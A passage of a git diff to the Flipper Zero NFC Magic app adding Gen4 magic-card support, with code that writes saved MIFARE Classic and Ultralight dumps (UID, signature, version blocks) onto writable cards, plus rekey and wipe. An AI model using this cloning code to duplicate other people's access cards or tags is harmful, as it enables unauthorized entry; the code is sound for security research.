text_input_free(nfc_magic->text_input); + // Byte Input + view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewByteInput); + byte_input_free(nfc_magic->byte_input); + // Custom Widget view_dispatcher_remove_view(nfc_magic->view_dispatcher, NfcMagicViewWidget); widget_free(nfc_magic->widget); @@ -164,6 +177,7 @@ int32_t nfc_magic_app(void* p) { view_dispatcher_run(nfc_magic->view_dispatcher); + magic_deactivate(); nfc_magic_free(nfc_magic); return 0; diff --git a/applications/external/nfc_magic/nfc_magic.h b/applications/external/nfc_magic/nfc_magic.h index 1abf1371e..f9cf395d8 100644 --- a/applications/external/nfc_magic/nfc_magic.h +++ b/applications/external/nfc_magic/nfc_magic.h @@ -1,3 +1,5 @@ #pragma once +typedef struct NfcMagicDevice NfcMagicDevice; + typedef struct NfcMagic NfcMagic; diff --git a/applications/external/nfc_magic/nfc_magic_i.h b/applications/external/nfc_magic/nfc_magic_i.h index 378912e5b..4d6b89103 100644 --- a/applications/external/nfc_magic/nfc_magic_i.h +++ b/applications/external/nfc_magic/nfc_magic_i.h @@ -3,7 +3,10 @@ #include "nfc_magic.h" #include "nfc_magic_worker.h" -#include "lib/magic/magic.h" +#include "lib/magic/common.h" +#include "lib/magic/types.h" +#include "lib/magic/classic_gen1.h" +#include "lib/magic/gen4.h" #include #include @@ -15,6 +18,7 @@ #include #include #include +#include #include #include @@ -39,14 +43,22 @@ enum NfcMagicCustomEvent { NfcMagicCustomEventTextInputDone, }; +struct NfcMagicDevice { + MagicType type; + uint32_t cuid; + uint32_t password; +}; + struct NfcMagic { NfcMagicWorker* worker; ViewDispatcher* view_dispatcher; Gui* gui; NotificationApp* notifications; SceneManager* scene_manager; - // NfcMagicDevice* dev; - NfcDevice* nfc_dev; + struct NfcMagicDevice* dev; + NfcDevice* source_dev; + + uint32_t new_password; FuriString* text_box_store; @@ -55,6 +67,7 @@ struct NfcMagic { Popup* popup; Loading* loading; TextInput* text_input; + ByteInput* byte_input; Widget* widget; }; @@ -63,6 +76,7 @@ typedef enum { NfcMagicViewPopup, NfcMagicViewLoading, NfcMagicViewTextInput, + NfcMagicViewByteInput, NfcMagicViewWidget, } NfcMagicView; diff --git a/applications/external/nfc_magic/nfc_magic_worker.c b/applications/external/nfc_magic/nfc_magic_worker.c index 92eb793a7..dc22b5d3e 100644 --- a/applications/external/nfc_magic/nfc_magic_worker.c +++ b/applications/external/nfc_magic/nfc_magic_worker.c @@ -1,6 +1,9 @@ #include "nfc_magic_worker_i.h" -#include "lib/magic/magic.h" +#include "nfc_magic_i.h" +#include "lib/magic/common.h" +#include "lib/magic/classic_gen1.h" +#include "lib/magic/gen4.h" #define TAG "NfcMagicWorker" @@ -43,15 +46,20 @@ void nfc_magic_worker_stop(NfcMagicWorker* nfc_magic_worker) { void nfc_magic_worker_start( NfcMagicWorker* nfc_magic_worker, NfcMagicWorkerState state, + NfcMagicDevice* magic_dev, NfcDeviceData* dev_data, + uint32_t new_password, NfcMagicWorkerCallback callback, void* context) { furi_assert(nfc_magic_worker); + furi_assert(magic_dev); furi_assert(dev_data); nfc_magic_worker->callback = callback; nfc_magic_worker->context = context; + nfc_magic_worker->magic_dev = magic_dev; nfc_magic_worker->dev_data = dev_data; + nfc_magic_worker->new_password = new_password; nfc_magic_worker_change_state(nfc_magic_worker, state); furi_thread_start(nfc_magic_worker->thread); } @@ -63,6 +71,8 @@ int32_t nfc_magic_worker_task(void* context) { nfc_magic_worker_check(nfc_magic_worker); } else if(nfc_magic_worker->state == NfcMagicWorkerStateWrite) { nfc_magic_worker_write(nfc_magic_worker); + } else if(nfc_magic_worker->state == NfcMagicWorkerStateRekey) { + nfc_magic_worker_rekey(nfc_magic_worker); } else if(nfc_magic_worker->state == NfcMagicWorkerStateWipe) { nfc_magic_worker_wipe(nfc_magic_worker); } @@ -74,59 +84,245 @@ int32_t nfc_magic_worker_task(void* context) { void nfc_magic_worker_write(NfcMagicWorker* nfc_magic_worker) { bool card_found_notified = false; + bool done = false; FuriHalNfcDevData nfc_data = {}; - MfClassicData* src_data = &nfc_magic_worker->dev_data->mf_classic_data; + NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; + NfcDeviceData* dev_data = nfc_magic_worker->dev_data; + NfcProtocol dev_protocol = dev_data->protocol; while(nfc_magic_worker->state == NfcMagicWorkerStateWrite) { - if(furi_hal_nfc_detect(&nfc_data, 200)) { - if(!card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); - card_found_notified = true; - } - furi_hal_nfc_sleep(); - if(!magic_wupa()) { - FURI_LOG_E(TAG, "No card response to WUPA (not a magic card)"); - nfc_magic_worker->callback( - NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); - break; - } - furi_hal_nfc_sleep(); - } - if(magic_wupa()) { - if(!magic_data_access_cmd()) { - FURI_LOG_E(TAG, "No card response to data access command (not a magic card)"); - nfc_magic_worker->callback( - NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); - break; - } - for(size_t i = 0; i < 64; i++) { - FURI_LOG_D(TAG, "Writing block %d", i); - if(!magic_write_blk(i, &src_data->block[i])) { - FURI_LOG_E(TAG, "Failed to write %d block", i); - nfc_magic_worker->callback(NfcMagicWorkerEventFail, nfc_magic_worker->context); + do { + if(furi_hal_nfc_detect(&nfc_data, 200)) { + if(nfc_data.cuid != magic_dev->cuid) break; + if(!card_found_notified) { + nfc_magic_worker->callback( + NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); + card_found_notified = true; + } + furi_hal_nfc_sleep(); + + magic_activate(); + if(magic_dev->type == MagicTypeClassicGen1) { + if(dev_protocol != NfcDeviceProtocolMifareClassic) break; + MfClassicData* mfc_data = &dev_data->mf_classic_data; + + if(mfc_data->type != MfClassicType1k) break; + if(!magic_gen1_wupa()) { + FURI_LOG_E(TAG, "Not Magic card"); + nfc_magic_worker->callback( + NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); + done = true; + break; + } + if(!magic_gen1_data_access_cmd()) { + FURI_LOG_E(TAG, "Not Magic card"); + nfc_magic_worker->callback( + NfcMagicWorkerEventWrongCard, nfc_magic_worker->context); + done = true; + break; + } + for(size_t i = 0; i < 64; i++) { + FURI_LOG_D(TAG, "Writing block %d", i); + if(!magic_gen1_write_blk(i, &mfc_data->block[i])) { + FURI_LOG_E(TAG, "Failed to write %d block", i); + nfc_magic_worker->callback( + NfcMagicWorkerEventFail, nfc_magic_worker->context); + done = true; + break; + } + } + + nfc_magic_worker->callback( + NfcMagicWorkerEventSuccess, nfc_magic_worker->context); + done = true; + break; + } else if(magic_dev->type == MagicTypeGen4) { + uint8_t gen4_config[28]; + uint32_t password = magic_dev->password; + + uint32_t cuid; + if(dev_protocol == NfcDeviceProtocolMifareClassic) { + gen4_config[0] = 0x00; + gen4_config[27] = 0x00; + } else if(dev_protocol == NfcDeviceProtocolMifareUl) { + MfUltralightData* mf_ul_data = &dev_data->mf_ul_data; + gen4_config[0] = 0x01; + switch(mf_ul_data->type) { + case MfUltralightTypeUL11: + case MfUltralightTypeUL21: + // UL-C? + // UL? + default: + gen4_config[27] = MagicGen4UltralightModeUL_EV1; + break; + case MfUltralightTypeNTAG203: + case MfUltralightTypeNTAG213: + case MfUltralightTypeNTAG215: + case MfUltralightTypeNTAG216: + case MfUltralightTypeNTAGI2C1K: + case MfUltralightTypeNTAGI2C2K: + case MfUltralightTypeNTAGI2CPlus1K: + case MfUltralightTypeNTAGI2CPlus2K: + gen4_config[27] = MagicGen4UltralightModeNTAG; + break; + } + } + + if(dev_data->nfc_data.uid_len == 4) { + gen4_config[1] = MagicGen4UIDLengthSingle; + } else if(dev_data->nfc_data.uid_len == 7) { + gen4_config[1] = MagicGen4UIDLengthDouble; + } else { + FURI_LOG_E(TAG, "Unexpected UID length %d", dev_data->nfc_data.uid_len); + nfc_magic_worker->callback( + NfcMagicWorkerEventFail, nfc_magic_worker->context); + done = true; + break; + } + + gen4_config[2] = (uint8_t)(password >> 24); + gen4_config[3] = (uint8_t)(password >> 16); + gen4_config[4] = (uint8_t)(password >> 8); + gen4_config[5] = (uint8_t)password; + + if(dev_protocol == NfcDeviceProtocolMifareUl) { + gen4_config[6] = MagicGen4ShadowModeHighSpeedIgnore; + } else { + gen4_config[6] = MagicGen4ShadowModeIgnore; + } + gen4_config[7] = 0x00; + memset(gen4_config + 8, 0, 16); + gen4_config[24] = dev_data->nfc_data.atqa[0]; + gen4_config[25] = dev_data->nfc_data.atqa[1]; + gen4_config[26] = dev_data->nfc_data.sak; + + furi_hal_nfc_activate_nfca(200, &cuid); + if(!magic_gen4_set_cfg(password, gen4_config, sizeof(gen4_config), false)) { + nfc_magic_worker->callback( + NfcMagicWorkerEventFail, nfc_magic_worker->context); + done = true; + break; + } + if(dev_protocol == NfcDeviceProtocolMifareClassic) { + MfClassicData* mfc_data = &dev_data->mf_classic_data; + size_t block_count = 64; + if(mfc_data->type == MfClassicType4k) block_count = 256; + for(size_t i = 0; i < block_count; i++) { + FURI_LOG_D(TAG, "Writing block %d", i); + if(!magic_gen4_write_blk(password, i, mfc_data->block[i].value)) { + FURI_LOG_E(TAG, "Failed to write %d block", i); + nfc_magic_worker->callback( + NfcMagicWorkerEventFail, nfc_magic_worker->context); + done = true; + break; + } + } + } else if(dev_protocol == NfcDeviceProtocolMifareUl) { + MfUltralightData* mf_ul_data = &dev_data->mf_ul_data; + for(size_t i = 0; (i * 4) < mf_ul_data->data_read; i++) { + size_t data_offset = i * 4; + FURI_LOG_D( + TAG, + "Writing page %zu (%zu/%u)", + i, + data_offset, + mf_ul_data->data_read); + uint8_t* block = mf_ul_data->data + data_offset; + if(!magic_gen4_write_blk(password, i, block)) { + FURI_LOG_E(TAG, "Failed to write %zu page", i); + nfc_magic_worker->callback( + NfcMagicWorkerEventFail, nfc_magic_worker->context); + done = true; + break; + } + } + + uint8_t buffer[16] = {0}; + + for(size_t i = 0; i < 8; i++) { + memcpy(buffer, &mf_ul_data->signature[i * 4], 4); //-V1086 + if(!magic_gen4_write_blk(password, 0xF2 + i, buffer)) { + FURI_LOG_E(TAG, "Failed to write signature block %d", i); + nfc_magic_worker->callback( + NfcMagicWorkerEventFail, nfc_magic_worker->context); + done = true; + break; + } + } + + buffer[0] = mf_ul_data->version.header; + buffer[1] = mf_ul_data->version.vendor_id; + buffer[2] = mf_ul_data->version.prod_type; + buffer[3] = mf_ul_data->version.prod_subtype; + if(!magic_gen4_write_blk(password, 0xFA, buffer)) { + FURI_LOG_E(TAG, "Failed to write version block 0"); + nfc_magic_worker->callback( + NfcMagicWorkerEventFail, nfc_magic_worker->context); + done = true; + break; + } + + buffer[0] = mf_ul_data->version.prod_ver_major; + buffer[1] = mf_ul_data->version.prod_ver_minor; + buffer[2] = mf_ul_data->version.storage_size; + buffer[3] = mf_ul_data->version.protocol_type; + if(!magic_gen4_write_blk(password, 0xFB, buffer)) { + FURI_LOG_E(TAG, "Failed to write version block 1"); + nfc_magic_worker->callback( + NfcMagicWorkerEventFail, nfc_magic_worker->context); + done = true; + break; + } + } + + nfc_magic_worker->callback( + NfcMagicWorkerEventSuccess, nfc_magic_worker->context); + done = true; break; } } - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - break; - } else { - if(card_found_notified) { - nfc_magic_worker->callback( - NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); - card_found_notified = false; - } + } while(false); + + if(done) break; + + if(card_found_notified) { + nfc_magic_worker->callback( + NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); + card_found_notified = false; } + furi_delay_ms(300); } magic_deactivate(); } void nfc_magic_worker_check(NfcMagicWorker* nfc_magic_worker) { + NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; bool card_found_notified = false; + uint8_t gen4_config[MAGIC_GEN4_CONFIG_LEN]; while(nfc_magic_worker->state == NfcMagicWorkerStateCheck) { - if(magic_wupa()) { + magic_activate(); + if(magic_gen1_wupa()) { + magic_dev->type = MagicTypeClassicGen1; + if(!card_found_notified) { + nfc_magic_worker->callback( + NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); + card_found_notified = true; + } + + furi_hal_nfc_activate_nfca(200, &magic_dev->cuid); + nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); + break; + } + + magic_deactivate(); + furi_delay_ms(300); + magic_activate(); + + furi_hal_nfc_activate_nfca(200, &magic_dev->cuid); + if(magic_gen4_get_cfg(magic_dev->password, gen4_config)) { + magic_dev->type = MagicTypeGen4; if(!card_found_notified) { nfc_magic_worker->callback( NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); @@ -135,12 +331,56 @@ void nfc_magic_worker_check(NfcMagicWorker* nfc_magic_worker) { nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); break; - } else { + } + + if(card_found_notified) { + nfc_magic_worker->callback( + NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); + card_found_notified = false; + } + + magic_deactivate(); + furi_delay_ms(300); + } + + magic_deactivate(); +} + +void nfc_magic_worker_rekey(NfcMagicWorker* nfc_magic_worker) { + NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; + bool card_found_notified = false; + + if(magic_dev->type != MagicTypeGen4) { + nfc_magic_worker->callback(NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); + return; + } + + while(nfc_magic_worker->state == NfcMagicWorkerStateRekey) { + magic_activate(); + uint32_t cuid; + furi_hal_nfc_activate_nfca(200, &cuid); + if(cuid != magic_dev->cuid) { if(card_found_notified) { nfc_magic_worker->callback( NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); card_found_notified = false; } + continue; + } + + nfc_magic_worker->callback(NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); + card_found_notified = true; + + if(magic_gen4_set_pwd(magic_dev->password, nfc_magic_worker->new_password)) { + magic_dev->password = nfc_magic_worker->new_password; + nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); + break; + } + + if(card_found_notified) { //-V547 + nfc_magic_worker->callback( + NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); + card_found_notified = false; } furi_delay_ms(300); } @@ -148,6 +388,10 @@ void nfc_magic_worker_check(NfcMagicWorker* nfc_magic_worker) { } void nfc_magic_worker_wipe(NfcMagicWorker* nfc_magic_worker) { + NfcMagicDevice* magic_dev = nfc_magic_worker->magic_dev; + bool card_found_notified = false; + bool card_wiped = false; + MfClassicBlock block; memset(&block, 0, sizeof(MfClassicBlock)); block.value[0] = 0x01; @@ -159,14 +403,48 @@ void nfc_magic_worker_wipe(NfcMagicWorker* nfc_magic_worker) { block.value[6] = 0x04; while(nfc_magic_worker->state == NfcMagicWorkerStateWipe) { - magic_deactivate(); - furi_delay_ms(300); - if(!magic_wupa()) continue; - if(!magic_wipe()) continue; - if(!magic_data_access_cmd()) continue; - if(!magic_write_blk(0, &block)) continue; - nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); - break; + do { + magic_deactivate(); + furi_delay_ms(300); + if(!magic_activate()) break; + if(magic_dev->type == MagicTypeClassicGen1) { + if(!magic_gen1_wupa()) break; + if(!card_found_notified) { + nfc_magic_worker->callback( + NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); + card_found_notified = true; + } + + if(!magic_gen1_wipe()) break; + if(!magic_gen1_data_access_cmd()) break; + if(!magic_gen1_write_blk(0, &block)) break; + + card_wiped = true; + nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); + } else if(magic_dev->type == MagicTypeGen4) { + uint32_t cuid; + if(!furi_hal_nfc_activate_nfca(200, &cuid)) break; + if(cuid != magic_dev->cuid) break; + if(!card_found_notified) { + nfc_magic_worker->callback( + NfcMagicWorkerEventCardDetected, nfc_magic_worker->context); + card_found_notified = true; + } + + if(!magic_gen4_wipe(magic_dev->password)) break; + + card_wiped = true; + nfc_magic_worker->callback(NfcMagicWorkerEventSuccess, nfc_magic_worker->context); + } + } while(false); + + if(card_wiped) break; + + if(card_found_notified) { + nfc_magic_worker->callback( + NfcMagicWorkerEventNoCardDetected, nfc_magic_worker->context); + card_found_notified = false; + } } magic_deactivate(); } diff --git a/applications/external/nfc_magic/nfc_magic_worker.h b/applications/external/nfc_magic/nfc_magic_worker.h index 9d29bb3a8..51ff4ee43 100644 --- a/applications/external/nfc_magic/nfc_magic_worker.h +++ b/applications/external/nfc_magic/nfc_magic_worker.h @@ -1,6 +1,7 @@ #pragma once #include +#include "nfc_magic.h" typedef struct NfcMagicWorker NfcMagicWorker; @@ -9,6 +10,7 @@ typedef enum { NfcMagicWorkerStateCheck, NfcMagicWorkerStateWrite, + NfcMagicWorkerStateRekey, NfcMagicWorkerStateWipe, NfcMagicWorkerStateStop, @@ -33,6 +35,8 @@ void nfc_magic_worker_stop(NfcMagicWorker* nfc_magic_worker); void nfc_magic_worker_start( NfcMagicWorker* nfc_magic_worker, NfcMagicWorkerState state, + NfcMagicDevice* magic_dev, NfcDeviceData* dev_data, + uint32_t new_password, NfcMagicWorkerCallback callback, void* context); diff --git a/applications/external/nfc_magic/nfc_magic_worker_i.h b/applications/external/nfc_magic/nfc_magic_worker_i.h index 0cde2e712..a354f8047 100644 --- a/applications/external/nfc_magic/nfc_magic_worker_i.h +++ b/applications/external/nfc_magic/nfc_magic_worker_i.h @@ -3,11 +3,14 @@ #include #include "nfc_magic_worker.h" +#include "lib/magic/common.h" struct NfcMagicWorker { FuriThread* thread; + NfcMagicDevice* magic_dev; NfcDeviceData* dev_data; + uint32_t new_password; NfcMagicWorkerCallback callback; void* context; @@ -21,4 +24,6 @@ void nfc_magic_worker_check(NfcMagicWorker* nfc_magic_worker); void nfc_magic_worker_write(NfcMagicWorker* nfc_magic_worker); +void nfc_magic_worker_rekey(NfcMagicWorker* nfc_magic_worker); + void nfc_magic_worker_wipe(NfcMagicWorker* nfc_magic_worker); diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c new file mode 100644 index 000000000..675262a9b --- /dev/null +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_actions.c @@ -0,0 +1,50 @@ +#include "../nfc_magic_i.h" +enum SubmenuIndex { + SubmenuIndexWrite, + SubmenuIndexWipe, +}; + +void nfc_magic_scene_actions_submenu_callback(void* context, uint32_t index) { + NfcMagic* nfc_magic = context; + view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, index); +} + +void nfc_magic_scene_actions_on_enter(void* context) { + NfcMagic* nfc_magic = context; + + Submenu* submenu = nfc_magic->submenu; + submenu_add_item( + submenu, "Write", SubmenuIndexWrite, nfc_magic_scene_actions_submenu_callback, nfc_magic); + submenu_add_item( + submenu, "Wipe", SubmenuIndexWipe, nfc_magic_scene_actions_submenu_callback, nfc_magic); + + submenu_set_selected_item( + submenu, scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneActions)); + view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); +} + +bool nfc_magic_scene_actions_on_event(void* context, SceneManagerEvent event) { + NfcMagic* nfc_magic = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubmenuIndexWrite) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneFileSelect); + consumed = true; + } else if(event.event == SubmenuIndexWipe) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWipe); + consumed = true; + } + scene_manager_set_scene_state(nfc_magic->scene_manager, NfcMagicSceneActions, event.event); + } else if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_search_and_switch_to_previous_scene( + nfc_magic->scene_manager, NfcMagicSceneStart); + } + + return consumed; +} + +void nfc_magic_scene_actions_on_exit(void* context) { + NfcMagic* nfc_magic = context; + submenu_reset(nfc_magic->submenu); +} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c index d51797242..90b43d7d3 100644 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_check.c @@ -42,7 +42,9 @@ void nfc_magic_scene_check_on_enter(void* context) { nfc_magic_worker_start( nfc_magic->worker, NfcMagicWorkerStateCheck, - &nfc_magic->nfc_dev->dev_data, + nfc_magic->dev, + &nfc_magic->source_dev->dev_data, + nfc_magic->new_password, nfc_magic_check_worker_callback, nfc_magic); nfc_magic_blink_start(nfc_magic); diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h b/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h index 557e26914..2f9860d96 100644 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_config.h @@ -1,4 +1,8 @@ ADD_SCENE(nfc_magic, start, Start) +ADD_SCENE(nfc_magic, key_input, KeyInput) +ADD_SCENE(nfc_magic, actions, Actions) +ADD_SCENE(nfc_magic, gen4_actions, Gen4Actions) +ADD_SCENE(nfc_magic, new_key_input, NewKeyInput) ADD_SCENE(nfc_magic, file_select, FileSelect) ADD_SCENE(nfc_magic, write_confirm, WriteConfirm) ADD_SCENE(nfc_magic, wrong_card, WrongCard) @@ -8,5 +12,7 @@ ADD_SCENE(nfc_magic, success, Success) ADD_SCENE(nfc_magic, check, Check) ADD_SCENE(nfc_magic, not_magic, NotMagic) ADD_SCENE(nfc_magic, magic_info, MagicInfo) +ADD_SCENE(nfc_magic, rekey, Rekey) +ADD_SCENE(nfc_magic, rekey_fail, RekeyFail) ADD_SCENE(nfc_magic, wipe, Wipe) ADD_SCENE(nfc_magic, wipe_fail, WipeFail) diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c index d78422eeb..baa6bcccc 100644 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_file_select.c @@ -1,22 +1,60 @@ #include "../nfc_magic_i.h" -static bool nfc_magic_scene_file_select_is_file_suitable(NfcDevice* nfc_dev) { - return (nfc_dev->format == NfcDeviceSaveFormatMifareClassic) && - (nfc_dev->dev_data.mf_classic_data.type == MfClassicType1k) && - (nfc_dev->dev_data.nfc_data.uid_len == 4); +static bool nfc_magic_scene_file_select_is_file_suitable(NfcMagic* nfc_magic) { + NfcDevice* nfc_dev = nfc_magic->source_dev; + if(nfc_dev->format == NfcDeviceSaveFormatMifareClassic) { + switch(nfc_magic->dev->type) { + case MagicTypeClassicGen1: + case MagicTypeClassicDirectWrite: + case MagicTypeClassicAPDU: + if((nfc_dev->dev_data.mf_classic_data.type != MfClassicType1k) || + (nfc_dev->dev_data.nfc_data.uid_len != 4)) { + return false; + } + return true; + + case MagicTypeGen4: + return true; + default: + return false; + } + } else if( + (nfc_dev->format == NfcDeviceSaveFormatMifareUl) && + (nfc_dev->dev_data.nfc_data.uid_len == 7)) { + switch(nfc_magic->dev->type) { + case MagicTypeUltralightGen1: + case MagicTypeUltralightDirectWrite: + case MagicTypeUltralightC_Gen1: + case MagicTypeUltralightC_DirectWrite: + case MagicTypeGen4: + switch(nfc_dev->dev_data.mf_ul_data.type) { + case MfUltralightTypeNTAGI2C1K: + case MfUltralightTypeNTAGI2C2K: + case MfUltralightTypeNTAGI2CPlus1K: + case MfUltralightTypeNTAGI2CPlus2K: + return false; + default: + return true; + } + default: + return false; + } + } + + return false; } void nfc_magic_scene_file_select_on_enter(void* context) { NfcMagic* nfc_magic = context; // Process file_select return - nfc_device_set_loading_callback(nfc_magic->nfc_dev, nfc_magic_show_loading_popup, nfc_magic); + nfc_device_set_loading_callback( + nfc_magic->source_dev, nfc_magic_show_loading_popup, nfc_magic); - if(!furi_string_size(nfc_magic->nfc_dev->load_path)) { - furi_string_set_str(nfc_magic->nfc_dev->load_path, NFC_APP_FOLDER); + if(!furi_string_size(nfc_magic->source_dev->load_path)) { + furi_string_set_str(nfc_magic->source_dev->load_path, NFC_APP_FOLDER); } - - if(nfc_file_select(nfc_magic->nfc_dev)) { - if(nfc_magic_scene_file_select_is_file_suitable(nfc_magic->nfc_dev)) { + if(nfc_file_select(nfc_magic->source_dev)) { + if(nfc_magic_scene_file_select_is_file_suitable(nfc_magic)) { scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWriteConfirm); } else { scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWrongCard); @@ -34,5 +72,5 @@ bool nfc_magic_scene_file_select_on_event(void* context, SceneManagerEvent event void nfc_magic_scene_file_select_on_exit(void* context) { NfcMagic* nfc_magic = context; - nfc_device_set_loading_callback(nfc_magic->nfc_dev, NULL, nfc_magic); + nfc_device_set_loading_callback(nfc_magic->source_dev, NULL, nfc_magic); } diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c new file mode 100644 index 000000000..ceaa33e29 --- /dev/null +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_gen4_actions.c @@ -0,0 +1,70 @@ +#include "../nfc_magic_i.h" +enum SubmenuIndex { + SubmenuIndexWrite, + SubmenuIndexChangePassword, + SubmenuIndexWipe, +}; + +void nfc_magic_scene_gen4_actions_submenu_callback(void* context, uint32_t index) { + NfcMagic* nfc_magic = context; + view_dispatcher_send_custom_event(nfc_magic->view_dispatcher, index); +} + +void nfc_magic_scene_gen4_actions_on_enter(void* context) { + NfcMagic* nfc_magic = context; + + Submenu* submenu = nfc_magic->submenu; + submenu_add_item( + submenu, + "Write", + SubmenuIndexWrite, + nfc_magic_scene_gen4_actions_submenu_callback, + nfc_magic); + submenu_add_item( + submenu, + "Change password", + SubmenuIndexChangePassword, + nfc_magic_scene_gen4_actions_submenu_callback, + nfc_magic); + submenu_add_item( + submenu, + "Wipe", + SubmenuIndexWipe, + nfc_magic_scene_gen4_actions_submenu_callback, + nfc_magic); + + submenu_set_selected_item( + submenu, + scene_manager_get_scene_state(nfc_magic->scene_manager, NfcMagicSceneGen4Actions)); + view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewMenu); +} + +bool nfc_magic_scene_gen4_actions_on_event(void* context, SceneManagerEvent event) { + NfcMagic* nfc_magic = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == SubmenuIndexWrite) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneFileSelect); + consumed = true; + } else if(event.event == SubmenuIndexChangePassword) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneNewKeyInput); + consumed = true; + } else if(event.event == SubmenuIndexWipe) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneWipe); + consumed = true; + } + scene_manager_set_scene_state( + nfc_magic->scene_manager, NfcMagicSceneGen4Actions, event.event); + } else if(event.type == SceneManagerEventTypeBack) { + consumed = scene_manager_search_and_switch_to_previous_scene( + nfc_magic->scene_manager, NfcMagicSceneStart); + } + + return consumed; +} + +void nfc_magic_scene_gen4_actions_on_exit(void* context) { + NfcMagic* nfc_magic = context; + submenu_reset(nfc_magic->submenu); +} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c new file mode 100644 index 000000000..58b487a09 --- /dev/null +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_key_input.c @@ -0,0 +1,45 @@ +#include "../nfc_magic_i.h" + +void nfc_magic_scene_key_input_byte_input_callback(void* context) { + NfcMagic* nfc_magic = context; + + view_dispatcher_send_custom_event( + nfc_magic->view_dispatcher, NfcMagicCustomEventByteInputDone); +} + +void nfc_magic_scene_key_input_on_enter(void* context) { + NfcMagic* nfc_magic = context; + + // Setup view + ByteInput* byte_input = nfc_magic->byte_input; + byte_input_set_header_text(byte_input, "Enter the password in hex"); + byte_input_set_result_callback( + byte_input, + nfc_magic_scene_key_input_byte_input_callback, + NULL, + nfc_magic, + (uint8_t*)&nfc_magic->dev->password, + 4); + view_dispatcher_switch_to_view(nfc_magic->view_dispatcher, NfcMagicViewByteInput); +} + +bool nfc_magic_scene_key_input_on_event(void* context, SceneManagerEvent event) { + NfcMagic* nfc_magic = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == NfcMagicCustomEventByteInputDone) { + scene_manager_next_scene(nfc_magic->scene_manager, NfcMagicSceneCheck); + consumed = true; + } + } + return consumed; +} + +void nfc_magic_scene_key_input_on_exit(void* context) { + NfcMagic* nfc_magic = context; + + // Clear view + byte_input_set_result_callback(nfc_magic->byte_input, NULL, NULL, NULL, NULL, 0); + byte_input_set_header_text(nfc_magic->byte_input, ""); +} diff --git a/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c b/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c index e9b226b3a..c147ac438 100644 --- a/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c +++ b/applications/external/nfc_magic/scenes/nfc_magic_scene_magic_info.c @@ -1,4 +1,5 @@ #include "../nfc_magic_i.h" +#include "../lib/magic/types.h" void nfc_magic_scene_magic_info_widget_callback( GuiButtonType result, @@ -13,14 +14,18 @@ void nfc_magic_scene_magic_info_widget_callback( void nfc_magic_scene_magic_info_on_enter(void* context) { NfcMagic* nfc_magic = context; Widget* widget = nfc_magic->widget; + const char* card_type = nfc_magic_type(nfc_magic->dev->type); notification_message(nfc_magic->notifications, &sequence_success); widget_add_icon_element(widget, 73, 17, &I_DolphinCommon_56x48); 